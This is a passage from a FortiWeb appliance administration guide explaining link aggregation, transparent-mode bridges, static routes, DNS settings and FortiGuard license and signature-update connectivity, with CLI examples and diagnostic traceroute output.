Lacp-rate	Select the rate of transmission for the LACP frames (LACPUs) between FortiWeb and the peer device at the other end of the trunking cables, either: • SLOW — Every 30 seconds. • FAST — Every 1 second. Note: This must match the setting on the other device. If the rates do not match, FortiWeb or the other device could mistakenly believe that the other’s ports have failed, effectively disabling ports in the trunk.
Algorithm	Select the connectivity layers that will be considered when distributing frames among the aggregated physical ports. • layer2 — Consider only the MAC address. This results in the most even distribution of frames, but may be disruptive to TCP if packets frequently arrive out of order. • layer2_3 — Consider both the MAC address and IP session. Queue frames involving the same session to the same port. This results in slightly less even distribution, and still does not guarantee perfectly ordered TCP sessions, but does result in less jitter within the session. • layer3_4 — Consider both the IP session and TCP connection. Queue frames involving the same session and connection to the same port. Distribution is not even, but this does prevent TCP retransmissions associated with link aggregation.
IP/Netmask	Type the IP address/subnet mask associated with the aggregate. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.

5. Click *OK*.

Your new aggregate appears in the list of network interfaces.

To configure an IPv4link aggregate via the CLI

1. Enter the following commands:

```
config system interface
    edit "aggregate"
        set type agg
        set status up
        set intf <port_name> <port_name>
        set algorithm {layer2 | layer2_3 | layer3_4}
        set lacp-speed {fast | slow}
        set ip <address_ipv4> <netmask_ipv4mask>
    next
end
```

where:

- <port_name> is the name of a physical network interface, such as port3
- <address_ipv4> is the IP address assigned to the network interface
- <netmask_ipv4mask> is its netmask in dotted decimal format
- {layer2 | layer2_3 | layer3_4} is a choice between the connectivity layers that will be considered when distributing frames among the aggregated physical ports.
- {fast | slow} is a choice of the rate of transmission for the LACP frames (LACPU) between FortiWeb and the peer device at the other end of the trunking cables; this must match the LACP peer

See also

- [Network interface or bridge?](#)
- [Configuring the network interfaces](#)
- [Configuring a bridge \(V-zone\)](#)
- [Adding a gateway](#)

Configuring a bridge (V-zone)

You can configure a bridge either via the web UI or the CLI.

Bridges allow network connections to travel through the FortiWeb appliance's physical network ports **without** explicitly connecting to one of its IP addresses. Due to this nature, bridges are configured **only** when FortiWeb is operating in either true transparent proxy or transparent inspection mode.

Bridges on the FortiWeb appliance support [IEEE 802.1d](#) spanning tree protocol (STP) by forwarding bridge protocol data unit (BPDU) packets, but do **not** generate BPDU packets of their own. Therefore, in some cases, you might need to manually test the bridged network for Layer 2 loops. Also, you may prefer to manually design a tree that uses the minimum cost path to the root switch for design and performance reasons.

True bridges typically have no IP address of their own. They use only media access control (MAC) addresses to describe the location of physical ports within the scope of their network and do network switching at Layer 2 of the OSI model. However, if you require the ability to use an IP address to use ICMP ECHO_REQUEST (ping) to test connectivity with the physical ports comprising the bridge, you can assign an IP address to the bridge and thereby create a virtual network interface that will respond.

To configure a bridge via the web UI

1. If you have installed a **physical** FortiWeb appliance, plug in network cables to connect one of the physical ports in the bridge to your protected web servers, and the other port to the Internet or your internal network.

Because `port1` is reserved for connections with your management computer, for physical appliances, this means that you must plug cables into at least 3 physical ports:

- `port1` to your management computer
- one port to your web servers
- one port to the Internet or your internal network

If you have installed a **virtual** FortiWeb appliance (FortiWeb-VM), the number and topology of connections of your physical ports depend on your vNIC mappings. For details, see the [FortiWeb-VM Install Guide](#).



If you will use fail-to-wire, the bridge **must** be comprised of the ports that have hardware support for fail-to-wire. For example, on FortiWeb 1000C, this is port3 and port4. See [“Fail-to-wire for power loss/reboots” on page 507](#) and the QuickStart Guide for your model.

2. If you have installed FortiWeb-VM, configure the virtual switch (vSwitch). For details, see the [FortiWeb-VM Install Guide](#).
3. Go to *System > Network > V-zone*.

This part of the menu is hidden if FortiWeb is currently in one of the operating modes where bridges are not applicable.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Network Configuration* category. For details, see [“Permissions” on page 46](#).

4. Click *Create New*.

A dialog appears.



If configuring VLANs for a FortiWeb operating in true transparent proxy mode, you must configure one V-zone for each VLAN.

5. Configure these settings:

The screenshot shows a 'New V-zone' configuration window. It has four main input fields: 'Name' (bridge1), 'IP/Netmask' (192.0.2.20/24), 'Interface name' (port2), and 'Member' (port3, port4). The 'Member' field is a list box with 'port3' and 'port4' selected. There are 'OK' and 'Cancel' buttons at the bottom.

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. The name cannot be changed once you save the entry. See “Renaming entries” on page 57 .
IP/Netmask	To create a virtual network interface that can respond to ICMP ECHO_REQUEST (ping) requests, enter an IP address/subnet mask for the virtual network interface. Like non-bridge network interfaces, this IP address will result in ARP traffic to notify the network during an HA failover. For more information on HA failover, see “Configuring a high availability (HA) FortiWeb cluster” on page 95 . Note: Failure to change the <i>IP/Netmask</i> will result in an Invalid IP Address error message.
Interface name	Displays a list of network interfaces that currently have no IP address of their own, nor are members of another bridge, and therefore could be members of this bridge. To add one or more network interfaces to the bridge, select their names, then click the right arrow. Note: Only network interfaces with no IP address can belong to a bridge. port1 is reserved for your management computer, and cannot be bridged. To remove any other network interface’s IP address so that it can be included in the bridge, set its IP/Netmask to 0.0.0.0/0.0.0.0.
Member	Displays a list of network interfaces that belong to this bridge. To remove a network interface from the bridge, select its name, then click the left arrow. Tip: If you will be configuring bypass/fail-to-wire, the pair of bridge ports that you select should be ones that are wired together to support it. See “Fail-to-wire for power loss/reboots” on page 507 .

6. Click OK.
The bridge appears in *System > Network > V-zone*.
7. To use the bridge, select it in a policy (see [“Configuring a server policy” on page 470](#)).

To configure an IPv4 bridge in the CLI

1. If you have installed a physical FortiWeb appliance, connect one of the physical ports in the bridge to your protected web servers, and the other port to the Internet or your internal network.

Because `port1` is reserved for connections with your management computer, for physical appliances, this means that you must connect at least 3 ports:

- `port1` to your management computer
- one port to your web servers
- one port to the Internet or your internal network

If you have installed a virtual FortiWeb appliance, the number and topology of connections of your physical ports depend on your vNIC mappings. For details, see the [FortiWeb-VM Install Guide](#).

2. If you have installed FortiWeb as a virtual appliance (FortiWeb-VM), configure the virtual switch. For details, see the [FortiWeb-VM Install Guide](#).
3. Enter the following commands:

```
config system v-zone
  edit <v-zone_name>
    set ip <address_ipv4> <netmask_ipv4>
    set interfaces {<port_name> ...}
  end
```

where:

- `<v-zone_name>` is the name of the bridge
- `{<port_name> ...}` is a space-delimited list of one or more network ports that will be members of this bridge. Eligible network ports must not yet belong to a bridge, and have no assigned IP address. For a list of eligible ports, enter:

```
set interfaces ?
```
- `<address_ipv4> <netmask_ipv4>` is an IP address for the purposes of testing connectivity to the bridge ports

4. To use the bridge, select it in a policy (see “[Configuring a server policy](#)” on page 470).

See also

- [Network interface or bridge?](#)
- [Configuring the network interfaces](#)
- [Link aggregation](#)
- [Adding a gateway](#)

Adding a gateway

Static routes direct traffic exiting the FortiWeb appliance based upon the packet’s destination — you can specify through which network interface a packet will leave, and the IP address of a next-hop router that is reachable from that network interface. Routers are aware of which IP addresses are reachable through various network pathways, and can forward those packets along pathways capable of reaching the packets’ ultimate destinations. Your FortiWeb itself does not need to know the full route, as long as the routers can pass along the packet.

You must configure FortiWeb with at least one static route that points to a router, often a router that is the gateway to the Internet. You may need to configure multiple static routes if you have multiple gateway routers (e.g. each of which should receive packets destined for a different

subset of IP addresses), redundant routers (e.g. redundant Internet/ISP links), or other special routing cases.

However, often you will only need to configure one route: a default route.



True transparent and transparent inspection operation modes require that you specify the gateway when configuring the operation mode. In that case, you have already configured a static route. You do not need to repeat this step.

For example, if a web server is directly attached to one physical port on the FortiWeb, but all other destinations, such as connecting clients, are located on distant networks, such as the Internet, you might need to add only one route: a default route that indicates the gateway router through which the FortiWeb appliance can send traffic in the direction towards the Internet.



If your management computer is **not** directly attached to one of the physical ports of the FortiWeb appliance, you may also require a static route so that your management computer is able to connect with the web UI and CLI.

When you add a static route through the web UI, the FortiWeb appliance evaluates the route to determine if it represents a different route compared to any other route already present in the list of static routes. If no route having the same destination exists in the list of static routes, the FortiWeb appliance adds the static route, using the next unassigned route index number.



The index number of the route in the list of static routes is not necessarily the same as its position in the routing table (`diagnose network route list`).

To add a static route via the web UI

1. Go to *System > Network > Static Route*.

To access this part of the web UI, your administrator account's access profile must have *Read* and *Write* permission to items in the *Router Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:

New Static Route

Destination IP/Mask(IPv4/IPv6)

0.0.0.0/0

Gateway(IPv4/IPv6)

192.0.2.1

Interface

port1

OK

Cancel

Setting name	Description
Destination IP/Mask	Type the destination IP address and network mask of packets that will be subject to this static route, separated by a slash (/). The value 0.0.0.0/0.0.0.0 or ::/0 results in a default route, which matches the <code>DST</code> field in the IP header of all packets.
Gateway	Type the IP address of the next-hop router where the FortiWeb appliance will forward packets subject to this static route. This router must know how to route packets to the destination IP addresses that you have specified in <i>Destination IP/Mask</i> , or forward packets to another router with this information. For a direct Internet connection, this will be the router that forwards traffic towards the Internet, and could belong to your ISP. Caution: The gateway IP address <i>must</i> be in the same subnet as the interface's IP address. Failure to do so will cause FortiWeb to delete all static routes, including the default gateway.
Interface	Select the name of the network interface through which the packets subject to the static route will egress towards the next-hop router.



Making a default route for your FortiWeb is a typical best practice: if there is no other, more specific static route defined for a packet's destination IP address, a default route will match the packet, and pass it to a gateway router so that any packet can reach its destination.

If you do **not** define a default route, and if there is a gap in your routes where no route matches a packet's destination IP address, packets passing through the FortiWeb towards those IP addresses will, in effect, be null routed. While this can help to ensure that unintentional traffic cannot leave your FortiWeb and therefore can be a type of security measure, the result is that you must modify your routes every time that a new valid destination is added to your network. Otherwise, it will be unreachable. A default route ensures that this kind of locally-caused "destination unreachable" problem does not occur.

4. Click OK.

The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.

5. To verify connectivity, from a host on the route's destination network, attempt to connect to the FortiWeb appliance's web UI via HTTP and/or HTTPS. (At this point in the installation,

you have not yet configured a policy, and therefore, if in reverse proxy mode, cannot test connectivity **through** the FortiWeb.)



In reverse proxy mode, the FortiWeb appliance's virtual servers will **not forward non-HTTP/HTTPS** traffic to your protected web servers. (That is, IP-based forwarding is disabled. Only traffic picked up and allowed by the HTTP reverse proxy will be forwarded.) To forward FTP, SSH, or other protocols from your virtual server's IP to your back-end servers, see the `config router setting` command in the [FortiWeb CLI Reference](#).

Alternatively, if you have a FortiGate with an Internet/public address virtual IP (VIP) that forwards traffic to your FortiWeb, and your FortiWeb is on the same subnet as your web servers, configure the VIP to forward HTTP/HTTPS to FortiWeb, but other traffic such as SSH or FTP directly to your web servers.

If the connectivity test fails, you can use the CLI commands:

```
execute ping <destination_ip4>
```

to determine if a complete route exists from the FortiWeb to the host, and

```
execute traceroute <destination_ip4>
```

to determine the point of connectivity failure.

Also enable [PING](#) on the FortiWeb's network interface, or configure an IP address on the bridge, then use the equivalent `tracert` or `traceroute` command on the host (depending on its operating system) to test routability for traffic traveling in the opposite direction: from the host to the FortiWeb.

- If these tests **fail**, or if you do not want to enable [PING](#), first examine the static route configuration on both the host and FortiWeb.

To display the routing table, enter the CLI command:

```
diagnose network route list
```

You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and transport layer.

- If these tests **succeed**, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.

Verify that you have enabled [HTTPS](#) and/or [HTTP](#) on the network interface. Also examine routers and firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI command:

```
diagnose system top 5 30
```

to verify that the daemons for the web UI and CLI, such as `sshd`, `newcli`, and `httpsd` are running and not overburdened. For details, see the [FortiWeb CLI Reference](#).

To add a default route via the CLI

1. Enter the following commands:

```
config router static
  edit <route_index>
    set gateway <gateway_ipv4>
    set device <interface_name>
  end
```

where:

- <route_index> is the index number of the route in the list of static routes
- <gateway_ipv4> is the IP address of the gateway router
- <interface_name> is the name of the network interface through which packets will egress, such as port1

The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.

2. To verify connectivity, from a host on the network applicable to the route, attempt to connect to the FortiWeb appliance's web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy, and therefore, if in reverse proxy mode, cannot test connectivity **through** the FortiWeb.)



In reverse proxy mode, the FortiWeb appliance's virtual servers will **not forward non-HTTP/HTTPS** traffic to your protected web servers. (That is, IP-based forwarding is disabled. Only traffic picked up and allowed by the HTTP reverse proxy will be forwarded.) To forward FTP, SSH, or other protocols from your virtual server's IP to your back-end servers, see the `config router setting` command in the [FortiWeb CLI Reference](#).

Alternatively, if you have a FortiGate with an Internet/public address virtual IP (VIP) that forwards traffic to your FortiWeb, and your FortiWeb is on the same subnet as your web servers, configure the VIP to forward HTTP/HTTPS to FortiWeb, but other traffic such as SSH or FTP directly to your web servers.

If the connectivity test fails, you can use the CLI commands:

```
execute ping
```

to determine if a complete route exists from the FortiWeb to the host, and

```
execute traceroute
```

to determine the point of connectivity failure. For details, see the [FortiWeb CLI Reference](#). Also enable `ping` on the FortiWeb (see [“To configure a network interface's IPv4 address via the CLI” on page 115](#)), then use the equivalent `tracert` or `traceroute` command on the

host (depending on its operating system) to test routability for traffic traveling in the opposite direction: from the host to the FortiWeb.

- If these tests **fail**, or if you do not want to enable [PING](#), first examine the static route configuration on both the host and FortiWeb.

To display all routes with their priorities, enter the CLI command:

```
diagnose network route list
```

You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and transport layer.

- If these tests **succeed**, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.

Verify that you have enabled `http` and/or `https` on the network interface ([“To configure a network interface’s IPv4 address via the CLI” on page 115](#)). Also examine routers and firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI command:

```
diagnose system top 5 30
```

to verify that the daemons for the web UI and CLI, such as `sshd`, `newcli`, and `httpsd` are running and not overburdened. For details, see the [FortiWeb CLI Reference](#).

See also

- [Configuring the network interfaces](#)
- [Configuring a bridge \(V-zone\)](#)
- [Configuring DNS settings](#)

Configuring DNS settings

Like many other types of network devices, FortiWeb appliances require connectivity to DNS servers for DNS lookups.

Your Internet service provider (ISP) may supply IP addresses of DNS servers, or you may want to use the IP addresses of your own DNS servers. You must provide unicast, non-local addresses for your DNS servers. Local host and broadcast addresses will not be accepted.




Incorrect DNS settings or unreliable DNS connectivity can cause issues with other features, including FortiGuard services and NTP system time.



For improved performance, use DNS servers on your local network.

To configure DNS settings via the web UI

1. Go to *System > Network > DNS*.



DNS Settings

Primary DNS Server 192.168.110.9

Secondary DNS Server

Local Domain Name

Apply

To change settings in this part of the web UI, your administrator's account access profile must have *Write* permission to items in the *Network Configuration* category. For details, see [“Permissions” on page 46](#).

2. In *Primary DNS Server*, type the IP address of the primary DNS server.
3. In *Secondary DNS Server*, type the IP address of the secondary DNS server.
4. In *Local Domain Name*, type the name of the local domain to which the FortiWeb appliance belongs, if any.

This field is optional. It will not appear in the `Host :` field of HTTP headers for client connections to your protected web servers.

5. Click *Apply*.

The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as for NTP system time, FortiGuard services, or web servers defined by their domain names (“domain servers”).

6. To verify your DNS settings, in the CLI, enter the following commands:

```
execute traceroute <server_fqdn>
```

where `<server_fqdn>` is a domain name such as `www.example.com`.



DNS tests may not succeed until you have completed [“Adding a gateway” on page 123](#).

If the DNS query for the domain name **succeeds**, you should see results that indicate that the host name resolved into an IP address, and the route from FortiWeb to that IP address:

```
traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
 1  172.20.130.2 (172.20.130.2)  0.426 ms  0.238 ms  0.374 ms
 2  static-209-87-254-221.storm.ca (209.87.254.221)  2.223 ms  2.491 ms  2.552 ms
 3  core-g0-0-1105.storm.ca (209.87.239.161)  3.079 ms  3.334 ms  3.357 ms
 ...
16  43-10.any.icann.org (192.0.43.10)  57.243 ms  57.146 ms  57.001 ms
```

If the DNS query **fails**, you will see an error message such as:

```
traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
```

Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy UDP port 53.

To configure DNS settings via the CLI

1. Enter the following commands:

```
config system dns
    set primary <address_ipv4>
    set secondary <address_ipv4>
    set domain <local-domain_str>
end
```

where:

- <address_ipv4> is the IP address of a DNS server
- <local-domain_str> is the name of the local domain to which the FortiWeb appliance belongs, if any

The local domain name is optional. It will not appear in the `Host:` field of HTTP headers for connections to protected web servers.

The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as for NTP or web servers defined by their domain names (“domain servers”).

2. To verify your DNS settings, in the CLI, enter the following commands:

```
execute traceroute <server_fqdn>
```

where <server_fqdn> is a domain name such as `www.example.com`.



DNS tests may not succeed until you have completed [“Adding a gateway” on page 123](#).

If the DNS query for the domain name **succeeds**, you should see results that indicate that the host name resolved into an IP address, and the route from FortiWeb to that IP address:

```
traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte
packets
 1  172.20.130.2 (172.20.130.2)  0.426 ms  0.238 ms  0.374 ms
 2  static-209-87-254-221.storm.ca (209.87.254.221)  2.223 ms  2.491
ms  2.552 ms
 3  core-g0-0-1105.storm.ca (209.87.239.161)  3.079 ms  3.334 ms
3.357 ms
...
16  43-10.any.icann.org (192.0.43.10)  57.243 ms  57.146 ms  57.001
ms
```

If the DNS query **fails**, you will see an error message such as:

```
traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
```

Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy UDP port 53.

See also

- [Configuring the network interfaces](#)
- [Configuring a bridge \(V-zone\)](#)
- [Adding a gateway](#)

Connecting to FortiGuard services

Most exploits and virus exposures occur within the first 2 months of a known vulnerability. Most botnets consist of thousands of zombie computers whose IP addresses are continuously changing. To keep your defenses effective against the evolving threat landscape, Fortinet recommends FortiGuard services.

New vulnerabilities and botnets are discovered and new signatures are built by Fortinet researchers every day.



Without these updates, your FortiWeb cannot detect the newest threats.

After you have subscribed to FortiGuard services, configure your FortiWeb appliance to connect to the Internet so that it can reach the world-wide Fortinet Distribution Network (FDN) in order to:

- verify its FortiGuard service licenses
- download up-to-date signatures, IP lists, and engine packages

FortiWeb appliances often can connect using default settings. However, due to differences in routing and firewalling, you should confirm this by verifying connectivity.



You must first register the FortiWeb appliance with the Fortinet Technical Support web site, <https://support.fortinet.com/>, to receive service from the FDN. The FortiWeb appliance must also have a valid Fortinet Technical Support contract which includes service subscriptions, and be able to connect to the FDN. For port numbers required for license validation and update connections, see “[Appendix A: Port numbers](#)” on page 651.

To determine your FortiGuard license status

1. If your FortiWeb appliance must connect to the Internet through an explicit (non-transparent) web proxy, configure the proxy connection (see “[Accessing FortiGuard via a web proxy](#)”).

The appliance will attempt to validate its license when it boots. If the appliance could not connect because proxy settings were not configured, or due to any other connectivity issue that you have since resolved, you can reboot the appliance to re-attempt license validation.

2. Go to *System > Status > Status*.

To access this part of the web UI, your administrator's account access profile must have *Read* permission to items in the *System Configuration* category. For details, see “[Permissions](#)” on page 46.

3. In the *FortiGuard Information* widget, look at the *FortiWeb Security Service* row, *FortiWeb Antivirus Service* row, and *FortiWeb IP Reputation Service* row.

Figure 19:FortiGuard Information widget

FortiGuard Information	
VM License	Valid [Update]
Registration	cschwartz@fortinet.com
FortiWeb FortiGuard Subscription Services	
FortiWeb Security Service	Expired (1969-12-31)
	Last Update Time:2013-01-11 Last Update Method: Scheduled
	Signature Build Number-0.00072
FortiWeb Antivirus Service	Valid Contract (Expires 2020-01-04)
	Last Update Time:2013-01-11 Last Update Method: Scheduled
	Regular Virus Database Version-17.2
	Extended Virus Database Version-16.967
FortiWeb IP Reputation Service	Valid Contract (Expires 2020-01-04)
	Last Update Time:2013-01-11 Last Update Method: Scheduled
	Signature Build Number-1.00013

- **Valid** — At the last attempt, the FortiWeb appliance was able to successfully contact the FDN and validate its FortiGuard license. Continue with “[Scheduling automatic signature updates](#)” on page 139.
- **Expired** — At the last attempt, the license was **either** expired or FortiWeb was unable to determine license status due to network connection errors with the FDN.



Your FortiWeb appliance cannot detect the latest vulnerabilities and compliance violations unless it is licensed and has network connectivity to download current definitions from the FortiGuard service.

If the connection did **not** succeed:

- On FortiWeb, verify the:
 - time zone & time
 - DNS settings
 - network interface up/down status & IP
 - static routes
- On your computer, use `nslookup` to verify that FortiGuard domain names are resolving (license authentication queries are sent to `update.fortiguard.net`).

```
C:\Users\cschwartz>nslookup update.fortiguard.net
Server:  google-public-dns-a.google.com
Address:  8.8.8.8
```

```
Non-authoritative answer:
Name:     fds1.fortinet.com
Addresses: 209.66.81.150
           209.66.81.151
           208.91.112.66
Aliases:  update.fortiguard.net
```

- On FortiWeb, use `execute ping` and `execute traceroute` to verify that connectivity from FortiWeb to the Internet and FortiGuard is possible. Check the configuration of any NAT or firewall devices that exist between the FortiWeb appliance and the FDN or FDS server override.

```

FortiWeb # exec traceroute update.fortiguard.net
traceroute to update.fortiguard.net (209.66.81.150), 32 hops max, 84 byte
packets
 1  192.0.2.2  0 ms  0 ms  0 ms
 2  209.87.254.221 <static-209-87-254-221.storm.ca>  4 ms  2 ms  3 ms
 3  209.87.239.161 <core-2-g0-3.storm.ca>  2 ms  3 ms  3 ms
 4  67.69.228.161  3 ms  4 ms  3 ms
 5  64.230.164.17 <core2-ottawa23_POS13-1-0.net.bell.ca>  3 ms  5 ms  3 ms
 6  64.230.99.250 <tcore4-ottawa23_0-4-2-0.net.bell.ca>  16 ms  17 ms  15
ms
 7  64.230.79.222 <tcore3-montreal01_pos0-14-0-0.net.bell.ca>  14 ms  14
ms  15 ms
 8  64.230.187.238 <newcore2-newyork83_so6-0-0_0>  63 ms  15 ms  14 ms
 9  64.230.187.42 <bxX5-newyork83_POS9-0-0.net.bell.ca>  21 ms
64.230.187.93 <BX5-NEWYORK83_POS12-0-0_core.net.bell.ca>  17 ms  16 ms
10  67.69.246.78 <Abovenet_NY.net.bell.ca>  28 ms  28 ms  28 ms
11  64.125.21.86 <xe-1-3-0.cr2.lga5.us.above.net>  29 ms  29 ms  30 ms
12  64.125.27.33 <xe-0-2-0.cr2.ord2.us.above.net>  31 ms  31 ms  33 ms
13  64.125.25.6 <xe-4-1-0.cr2.sjc2.us.above.net>  82 ms  82 ms  100 ms
14  64.125.26.202 <xe-1-1-0.er2.sjc2.us.above.net>  80 ms  79 ms  82 ms
15  209.66.64.93 <209.66.64.93.t01015-01.above.net>  80 ms  80 ms  79 ms
16  209.66.81.150 <209.66.81.150.available.above.net>  83 ms  82 ms  81 ms

```

To verify FortiGuard update connectivity

1. If your FortiWeb appliance must connect to the Internet (and therefore FDN) through an explicit (non-transparent) web proxy, configure the proxy connection (see [“Accessing FortiGuard via a web proxy”](#)).

- Go to *System > Config > FortiGuard*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see “Permissions” on page 46.

FortiGuard Distribution Network

Support Contract

Registration [Unregistered] [\[Register\]](#)

FortiWeb FortiGuard Subscription Services

FortiWeb Security Service	Expired (1969-12-31) [Renew] Last Update Time:1999-11-29 Last Update Method: Manual [Update] Signature Build Number-0.00076
FortiWeb Antivirus Service	Expired (1969-12-31) [Renew] Last Update Time:2011-12-07 Last Update Method: Manual [Update] Regular Virus Database Version-14.00922 Extended Virus Database Version-14.00922
FortiWeb IP Reputation Service	Expired (1969-12-31) [Renew] Last Update Time:1999-11-29 Last Update Method: Manual [Update] Signature Build Number-1.00020

FortiWeb Update Service Options

☐ Use override server address

☒ Scheduled Update

☒ Every (hour)

☐ Daily: (hour)

☐ Weekly: (day) (hour)

Update Now

FortiWeb Virus Database

☒ **Regular Virus Database**

Version 14.922

Included Signatures 2

Included Grayware Signatures 17

Description This virus database includes "In the Wild" viruses and most commonly seen viruses c the network. For regular virus protection, it is sufficient to use this database.

☐ **Extended Virus Database**

Version 14.922

Included Signatures 2

Included Grayware Signatures 17

Description This virus database includes both "In the Wild" viruses and a large collection of "zoo" viruses that are no longer seen in recent virus studies.The use of this database can enabled in the Protection Profile. It is suitable for an enhanced security environment.

Maximum av cache size KB

Apply

- If you want your FortiWeb appliance to connect to a specific FDS other than the default for its time zone, enable *Use override server address*, and enter the IP address and port number of an FDS in the format `<FDS_ipv4>:<port_int>`, such as `10.0.0.1:443`.

4. Click *Apply*.
5. Click *Update Now*.

The FortiWeb appliance tests the connection to the FDN and, if any, the server you specified to override the default FDN server. Time required varies by the speed of the FortiWeb appliance's network connection, and by the number of timeouts that occur before the connection attempt is successful or the FortiWeb appliance determines that it cannot connect. If you have enabled logging in:

- *Log&Report > Log Config > Other Log Settings*
- *Log&Report > Log Config > Global Log Settings*

test results are indicated in *Log&Report > Log Access > Event*. If the connection test did **not** succeed due to license issues, you would instead see this log message:

```
FortiWeb is unauthorized
```

For more troubleshooting information, enter the commands:

```
diagnose debug enable
diagnose debug application fds 8
```

This will cause additional information to be output to your CLI console, such as:

```
FortiWeb # [update]: Poll timeout.
FortiWeb # *ATTENTION*: license registration status changed to
'VALID', please logout and re-login
```

For example, poll (license and update request) timeouts can be caused by incorrectly configured static routes and DNS settings, links with high packet loss, and other basic connectivity issues. Unless you override the behavior with a specific FDS address (enable and configure *Use override server address*), FortiWeb appliances connect to the FDN by connecting to the server nearest to the FortiWeb appliance by its configured time zone. Timeouts can therefore also be caused by incorrect time zone.

See also

- [Blacklisting source IPs with poor reputation](#)
- [Blocking known attacks & data leaks](#)
- [Antivirus Scan](#)
- [Recognizing data types](#)
- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Configuring log destinations](#)
- [Viewing log messages](#)

Choosing the virus signature database & decompression buffer

Most viruses are actively spreading initially, but as hosts are patched and more networks filter them out, their occurrence becomes more rare.

Fortinet's FortiGuard Global Security Research Team continuously monitor detections of new and older viruses. When a specific virus has not been detected for one year, it is considered to be dormant. It is possible that a new outbreak could revive it, but that is increasingly unlikely as time passes due to replacement of vulnerable hardware and patching of vulnerable software. Therefore dormant viruses's signatures are removed from the "Regular" database, but preserved in the "Extended" signature database.

If your FortiWeb's performance is more critical than the risk of these dormant viruses, you can choose to omit signatures for obsolete viruses by selecting the "Regular" database on *System > Config > FortiGuard*.

Table 10: Selecting the virus database and buffer size on *System > Config > FortiGuard*

FortiWeb Virus Database

☐ **Regular Virus Database**

Version 14.922

Included Signatures 2

Included Grayware Signatures 17

Description This virus database includes "In the Wild" viruses and most commonly seen viruses on the network. For regular virus protection, it is sufficient to use this database.

☒ **Extended Virus Database**

Version 14.922

Included Signatures 2

Included Grayware Signatures 17

Description This virus database includes both "In the Wild" viruses and a large collection of "zoo" viruses that are no longer seen in recent virus studies. The use of this database can be enabled in the Protection Profile. It is suitable for an enhanced security environment.

Maximum av cache size KB

Apply

Setting Name	Description
Regular Virus Database	Select to use only the signatures of viruses and greyware that have been detected by FortiGuard's networks to be recently spreading in the wild.
Extended Virus Database	Select to use all signatures, regardless of whether the viruses or greyware are currently spreading.
Maximum Antivirus Buffer Size	Type the maximum size in kilobytes (KB) of the memory buffer that FortiWeb will use to temporarily undo the compression that a client or web server has applied to traffic, in order to inspect and/or modify it. See "Configuring decompression to enable scanning & rewriting" on page 449. Caution: Unless you configure otherwise, compressed requests that are too large for this buffer will pass through FortiWeb without scanning or rewriting. This could allow viruses to reach your web servers, and cause HTTP body rewriting to fail. If you prefer to block requests greater than this buffer size, configure Body Length. To be sure that it will not disrupt normal traffic, first configure Action to be <i>Alert</i>. If no problems occur, switch it to <i>Alert & Deny</i>.

See also

- [Configuring decompression to enable scanning & rewriting](#)
- [Blocking known attacks & data leaks](#)

Accessing FortiGuard via a web proxy

Using the CLI, you can configure the FortiWeb appliance to connect through an explicit (non-transparent) web proxy server to the FortiGuard Distribution Network (FDN) for signature updates.

For example, you might enter the following commands:

```
config system autoupdate tunneling
  set status enable
  set address 192.168.1.10
  set port 8080
  set username FortiWeb
  set password myPassword1
end
```

For details, see the [FortiWeb CLI Reference](#).

The FortiWeb appliance connects to the proxy using the HTTP `CONNECT` method, as described in [RFC 2616](#).

How often does Fortinet provide FortiGuard updates for FortiWeb?

Security is only as good as your most recent update. Without up-to-date signatures and blacklists, your network would be vulnerable to new attacks. However, if the updates were released before adequate testing and not accurate, FortiWeb scans would result in false positives or false negatives. For maximum benefit and minimum risk, updates must balance the two needs: to be both accurate and current.

Fortinet releases FortiGuard updates according to the best frequency for each technology.

- **Antivirus** — Multiple times per day. Updates are fast to test and low risk, while viruses can spread quickly and the newest ones are most common.
- **IP reputation** — Once per day (approximately). Some time is required to make certain of an IP address's reputation, but waiting too long would increase the probability of blacklisting innocent DHCP/PPPoE clients that re-use an IP address previously leased by an attacker.
- **Attack, data type, suspicious URL, and data leak signatures** — Once every 1-2 weeks (approximately). Signatures must be tuned to be flexible enough to match heuristic permutations of attacks without triggering false positives in similar but innocent HTTP requests/responses. Signatures must then be thoroughly tested to analyze any performance impacts and mismatches that are an inherent risk in feature-complete regular expression engines. Many exploits and data leaks also continue to be relevant 2 years or more, much longer than most viruses. This increases the value and makes it worthwhile to optimize, tuning each signature to be both flexible and high-performance.
- **Geography-to-IP mappings** — Once every month (approximately). These change rarely. Additionally, FortiWeb cannot poll for these updates and automatically apply them. You must manually upload the updates (see [“Updating data analytics definitions” on page 584](#)).

See also

- [Blocking known attacks & data leaks](#)
- [Configuring parameter validation \(input rules\)](#)
- [Preventing tampering with hidden inputs](#)
- [Limiting file uploads](#)
- [Predefined data types](#)
- [Predefined suspicious request URLs](#)
- [Blacklisting source IPs with poor reputation](#)
- [Blacklisting countries & regions](#)
- [Updating data analytics definitions](#)

Scheduling automatic signature updates

Your FortiWeb appliance uses signatures, IP lists, and data type definitions for many features, including to detect attacks such as:

- cross-site scripting (XSS)
